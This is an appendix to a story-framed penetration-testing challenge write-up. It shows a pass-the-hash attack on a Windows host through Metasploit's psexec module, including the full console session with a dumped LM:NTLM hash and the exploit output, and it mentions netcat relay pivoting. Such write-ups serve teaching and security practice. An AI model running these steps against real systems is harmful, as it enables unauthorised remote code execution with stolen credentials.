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APPENDIX A: SOLVING THE CHALLENGE WITHOUT DOWNLOADING ANY ADDITIONAL TOOL

The challenge can also be solved without downloading any additional tool by using the built-in
Metasploit psexec capabilities, which include pass-the-hash features. In this case, the full answer to the
first challenge question can be replaced by a single line:

Just in a sudden, Kris woke up from his lethargy, and said: "Thanks for your offer, Mr. Warlock,
but we don't need to use your magic netbook. We have all we need to break in thanks to the
newest Metasploit capabilities!" ;)

Honestly, the main reason why | didn't include this direct and simplest solution on my final submission
to the challenge was because initially | didn't remember that pass-the-hash support had been added to
Metasploit’s SMB authentication routines [6] and to the psexec exploit specifically [7]. Then, during my
research for the challenge, | found it again but after developing the strategy based on msvctl. Before
writing the final report, | thought it would be more interesting and useful for the reader not to focus
only on Metasploit, but talk about an extra tool (msvctl), which combined with psexec (from Microsoft
Sysinternals), offers similar capabilities to the Linux winexe tool on Windows. At the same time, my
submission makes use of all the tools available on the team arsenal ;)

To sum up, there are multiple options to remotely execute commands on Windows targets using pass-
the-hash attacks, each of them based on the source operating system and constraints on the pen-tester
side, such as the availability of Metasploit:
® From Linux: Winexe with pass-the-hash capabilities [3].
e From Windows: msvctl [5] plus psexec (from Microsoft Sysinternals).
* Using Metasploit (from any OS supported by the framework): Metasploit built-in psexec exploit
[7].

Once the netcat relays from steps 2.2 and 2.3 are ready, the technical details of steps 3 and 4 can be
replaced by a single step, the execution of dooropen.exe directly from Metasploit using the psexec
exploit.

Metasploit, running on Linnie, is used to take advantage of the psexec exploit and its pass-the-hash
capabilities. Kris uses the hashes (in LM:NTLM format) previously dumped from jailmasterlaptop to
remotely execute a command on the Windows target system, door1, using the appropriate Metasploit
payload. In order to complete this step, the execution must travel through the whole relay chain
previously setup on steps 2.2 and 2.3. Therefore, the target host from a Metasploit perspective is the
localhost (127.0.0.1), where the server-to-server relay is listening on port TCP/445 and redirecting the
traffic all the way back to the same port on doorl.

[Linnie] # ./msfconsole

# #OfHHHHE HEHEH ## HHEF HEHHE # HHEF  F HHHHS
## ## # # # # A # # # # # # #
#o# # HHHHS # # # ##HE A # # # # # #
# # # # #HAHHH # oAt A # # # #
# # # # # # # # # # # # # #
# # O HHHHHS # # # #HHHE A HHAHHE  HHEAE A #




msf v3.2-release

[
+ — ——=[ 304 exploits - 172 payloads
+ —— ——=[ 20 encoders - 6 nops
=[ 74 aux
msf >

msf > use exploit/windows/smb/psexec

msf exploit (psexec) > set RHOST 127.0.0.1

RHOST => 127.0.0.1

msf exploit (psexec) > set SMBUser jailmaster

SMBUser => jailmaster

msf exploit (psexec) > set SMBPass
aad3b435b51404eeaad3b435b51404ee: 9fbd5d7bf5172aeb3el1db70£00d44438
SMBPass => aad3b435b51404ecaad3b435b51404ee:9fbd5d7bf5172aeb3elldb70£00d44438
msf exploit (psexec) >

msf exploit (psexec) > set PAYLOAD windows/exec

PAYLOAD => windows/exec

msf exploit (psexec) > set CMD dooropen.exe

CMD => dooropen.exe

msf exploit (psexec) > exploit

[*] Connecting to the server...

[*] Authenticating as user 'jailmaster'

[*] Uploading payload...

[*] Created \lizhwZrp.exe...

[*] Binding to 367abb81-9844-35fl-ad32-
98£f038001003:2.0@ncacn_np:127.0.0.1[\svcectl]

[*] Bound to 367abb81-9844-35f1-ad32-
98£f038001003:2.0@ncacn_np:127.0.0.1[\svcectl]

[*] Obtaining a service manager handle...

[ Creating a new service (hVogBghH - "MEFXcFsS")...
[ Closing service handle...

[ Opening service...

[ Starting the service...

[ Removing the service...

[ Closing service handle...

[ Deleting \lizhwZrp.exe..

[ Exploit completed, but no session was created.
exploit (psexec) >
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NOTE: The “set SMBPass LM:NTLM” command invocation in Metasploit is a single line.

The usage of the command execution Metasploit payload (windows/exec) is the simplest way of running
dooropen.exe. In order to get any kind of remote shell or Meterpreter capabilities on doorl from Linnie,
due to the traffic filtering constraints, it would be required to create a new netcat relay chain to redirect
all the traffic associated to this new communication channel.

The only missing feature in Metasploit at this point, although not required for the challenge, would be
having pass-the-hash and remote execution capabilities (like in psexec) from within the Meterpreter.
This would allow pen-testers to use these capabilities when pivoting between intermediate
compromised systems through Metasploit once a Meterpreter instance is running.




